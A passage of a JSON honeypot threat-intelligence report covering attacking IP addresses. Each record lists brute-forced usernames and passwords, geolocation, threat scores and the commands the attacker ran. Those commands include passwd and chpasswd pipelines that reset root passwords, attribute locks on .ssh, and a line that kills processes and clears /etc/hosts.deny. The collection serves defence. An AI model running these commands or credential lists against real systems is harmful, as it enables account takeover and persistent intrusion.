        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\npOXQbyfyJC9z\\npOXQbyfyJC9z\\n\"|passwd",
        "echo \"ovh123\\nowPjz10hfkRc\\nowPjz10hfkRc\\n\"|passwd",
        "echo -e \"123456\\npOXQbyfyJC9z\\npOXQbyfyJC9z\"|passwd|bash",
        "echo -e \"ovh123\\nowPjz10hfkRc\\nowPjz10hfkRc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T21:47:59.973000+00:00",
        "last_seen_30d": "2026-03-05T22:28:20.286000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 181,
        "Suricata": 32
      }
    },
    "45.78.207.244": {
      "attack_count": 181,
      "first_seen": "2026-03-23T12:44:44.959Z",
      "last_seen": "2026-03-23T13:19:28.713Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "boom",
        "tiger",
        "def",
        "mikrotik",
        "redhat"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Boom123",
        "Mikrotik123!",
        "Tiger123!",
        "admin22",
        "boom123",
        "redhat123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Tiger123!\\n3JhN87qf9U1R\\n3JhN87qf9U1R\\n\"|passwd",
        "echo \"root:SJmMmHLgoUvO\"|chpasswd|bash",
        "echo -e \"Tiger123!\\n3JhN87qf9U1R\\n3JhN87qf9U1R\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T12:44:44.959000+00:00",
        "last_seen_30d": "2026-03-23T13:20:33.077000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 181,
        "Suricata": 32
      }
    },
    "159.203.142.159": {
      "attack_count": 150,
      "first_seen": "2026-03-02T06:15:48.718Z",
      "last_seen": "2026-03-02T06:41:30.395Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "qwerty",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin123",
        "passw0rd",
        "password1",
        "root",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 214,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:15:48.718000+00:00",
        "last_seen_30d": "2026-03-02T06:42:32.769000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 64
      }
    },
    "110.166.66.102": {
      "attack_count": 134,
      "first_seen": "2026-03-25T07:18:19.847Z",
      "last_seen": "2026-03-27T01:04:20.579Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "cdsmgr",
        "gg",
        "peoplesoft",
        "rancid",
        "soporte",
        "terminal",
        "tiptop"
      ],
      "passwords_attempted": [
        "123qwe@#",
        "4dm1n1str4t0r",
        "55555",
        "Digitalocean@123",
        "Jm123456",
        "PaSswORD@123",
        "adminss",
        "cdsmgr",
        "couscous",
        "dx123456",
        "gg",
        "green1",
        "natasha",
        "peoplesoft",
        "pippo123",
        "qazpl,wsxokm",
        "qazxsw21",
        "qqqqqqqq",
        "rancid",
        "soporte"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.log.closed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 59223,
      "as_org": "CHINANET Qinghai province IDC network",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T07:18:19.847000+00:00",
        "last_seen_30d": "2026-03-27T01:14:28.244000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 82
      }
    },
    "171.231.177.112": {
      "attack_count": 127,
      "first_seen": "2026-03-09T01:32:14.329Z",
      "last_seen": "2026-03-09T01:43:28.260Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "cf1c22",
        "george",
        "joggler",
        "joro",
        "library",
        "matrix",
        "newadmin",
        "office",
        "psybnc",
        "software",
        "test",
        "testftp",
        "thomas",
        "www"
      ],
      "passwords_attempted": [
        "admin",
        "1111",
        "72ca06",
        "anton",
        "calvin",
        "cf1c22",
        "explorer",
        "george",
        "htpcguides",
        "joggler",
        "joro",
        "library",
        "lifesize",
        "matrix",
        "newadmin",
        "nimda",
        "office",
        "psybnc",
        "qwertyuiop",
        "software"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 180,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T01:32:14.329000+00:00",
        "last_seen_30d": "2026-03-09T01:44:35.031000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 127,
        "Suricata": 53
      }
    },
    "103.181.143.216": {
      "attack_count": 124,
      "first_seen": "2026-03-10T08:48:14.763Z",
      "last_seen": "2026-03-10T09:13:45.884Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "clawd",
        "345gs5662d34",
        "ansible",
        "asdf",
        "elizabeth",
        "evan",
        "ftpuser01",
        "guest",
        "hasan",
        "laurent",
        "linuxadmin",
        "root"
      ],
      "passwords_attempted": [
        "12345678",
        "123456",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Ansible123!",
        "Reza1234",
        "evan123!",
        "guest123!",
        "laurent123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nBLqCEMZCHv5I\\nBLqCEMZCHv5I\\n\"|passwd",
        "echo -e \"123456\\nBLqCEMZCHv5I\\nBLqCEMZCHv5I\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:48:14.763000+00:00",
        "last_seen_30d": "2026-03-10T09:14:47.467000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "101.36.127.212": {
      "attack_count": 119,
      "first_seen": "2026-03-08T13:28:59.715Z",
      "last_seen": "2026-03-08T13:50:52.394Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "matic",
        "root",
        "345gs5662d34",
        "astra",
        "hr",
        "kevin",
        "portal",
        "sg",
        "wpuser",
        "zzy"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Dc123456",
        "Hr123!",
        "Wpuser123",
        "abcd1234!",
        "sg123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nDduEnLMlEDdg\\nDduEnLMlEDdg\\n\"|passwd",
        "echo -e \"12345678\\nDduEnLMlEDdg\\nDduEnLMlEDdg\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T13:28:59.715000+00:00",
        "last_seen_30d": "2026-03-08T13:51:56.460000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 31
      }
    },
    "210.245.34.113": {
      "attack_count": 119,
      "first_seen": "2026-03-09T16:22:13.639Z",
      "last_seen": "2026-03-09T16:44:17.567Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "superman",
        "345gs5662d34",
        "allen",
        "cockpit",
        "evan",
        "gm",
        "michael",
        "mohammad",
        "monitoring",
        "vintagestory",
        "xwiki"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Michael123",
        "allen123!",
        "cockpit1234",
        "mohammad1234",
        "monitoring123",
        "password",
        "vintagestorypass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nOv7yzXsh2TfP\\nOv7yzXsh2TfP\\n\"|passwd",
        "echo -e \"password\\nOv7yzXsh2TfP\\nOv7yzXsh2TfP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T16:22:13.639000+00:00",
        "last_seen_30d": "2026-03-09T16:45:25.243000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "96.78.175.36": {
      "attack_count": 119,
      "first_seen": "2026-03-08T19:49:37.145Z",
      "last_seen": "2026-03-08T20:08:46.722Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "soporte",
        "345gs5662d34",
        "def",
        "eder",
        "ibrahim",
        "jeff",
        "kali",
        "linuxbrew",
        "mama",
        "squid",
        "verdaccio"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Def123!",
        "Eder123!",
        "Soporte123",
        "jeff123456",
        "kali123",
        "linuxbrew",
        "mama123",
        "squid123!",
        "verdaccio"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Soporte123\\nzlR5r7W3cbkQ\\nzlR5r7W3cbkQ\\n\"|passwd",
        "echo -e \"Soporte123\\nzlR5r7W3cbkQ\\nzlR5r7W3cbkQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T19:49:37.145000+00:00",
        "last_seen_30d": "2026-03-08T20:09:51.299000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "150.136.248.130": {
      "attack_count": 117,
      "first_seen": "2026-03-03T00:00:37.897Z",
      "last_seen": "2026-03-03T00:40:13.084Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin1",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "1233218613f",
        "12344321",
        "1q2w3e4r!",
        "345gs5662d34",
        "Aa123456789.",
        "a102030",
        "digital123",
        "secretpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1233218613f\\n04sM5a8eRPHv\\n04sM5a8eRPHv\\n\"|passwd",
        "echo -e \"1233218613f\\n04sM5a8eRPHv\\n04sM5a8eRPHv\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T00:00:37.897000+00:00",
        "last_seen_30d": "2026-03-03T00:40:13.084000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 117,
        "Suricata": 24
      }
    },
    "162.240.230.228": {
      "attack_count": 109,
      "first_seen": "2026-03-04T07:09:09.993Z",
      "last_seen": "2026-03-04T07:41:01.116Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@QW34er",
        "12121212",
        "12344",
        "1qazXSW@3edcVFR$",
        "Bingo@1993",
        "Gfhjkm123456",
        "Qweasd123!@#",
        "Qwerty@1",
        "parker",
        "test01",
        "testpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:09:09.993000+00:00",
        "last_seen_30d": "2026-03-04T07:42:11.365000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 40
      }
    },
    "167.71.89.126": {
      "attack_count": 89,
      "first_seen": "2026-03-23T13:19:25.557Z",
      "last_seen": "2026-03-23T13:45:27.171Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "hik",
        "admin",
        "ark",
        "carlos",
        "thomas"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "1qazXSW@3edc",
        "3245gs5662d34",
        "Hik123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Hik123!\\nEyRACoL0fjnG\\nEyRACoL0fjnG\\n\"|passwd",
        "echo -e \"Hik123!\\nEyRACoL0fjnG\\nEyRACoL0fjnG\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T13:19:25.557000+00:00",
        "last_seen_30d": "2026-03-23T13:46:28.777000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 89,
        "Suricata": 17
      }
    },
    "170.106.66.82": {
      "attack_count": 88,
      "first_seen": "2026-03-31T15:40:06.233Z",
      "last_seen": "2026-03-31T15:57:27.154Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A@1234567890",
        "Password.",
        "claudiu",
        "p@ssword123!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vXKnmFEBJxih\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:40:06.233000+00:00",
        "last_seen_30d": "2026-03-31T15:58:35.946000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 15
      }
    },
    "112.224.196.243": {
      "attack_count": 81,
      "first_seen": "2026-03-27T21:58:59.778Z",
      "last_seen": "2026-03-27T23:28:38.999Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "147741",
        "2Wsx3Edc4Rfv",
        "Corvette",
        "Km@123456",
        "Pi123456@",
        "a123!",
        "a13a13",
        "asdASD123",
        "bgt5BGT%",
        "brenda",
        "byebye",
        "convert",
        "ix@123",
        "providence",
        "temporary"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Weifang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T21:58:59.778000+00:00",
        "last_seen_30d": "2026-03-27T23:35:11.714000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 81,
        "Suricata": 44
      }
    },
    "34.62.247.249": {
      "attack_count": 72,
      "first_seen": "2026-03-11T12:13:32.383Z",
      "last_seen": "2026-03-11T12:15:33.034Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
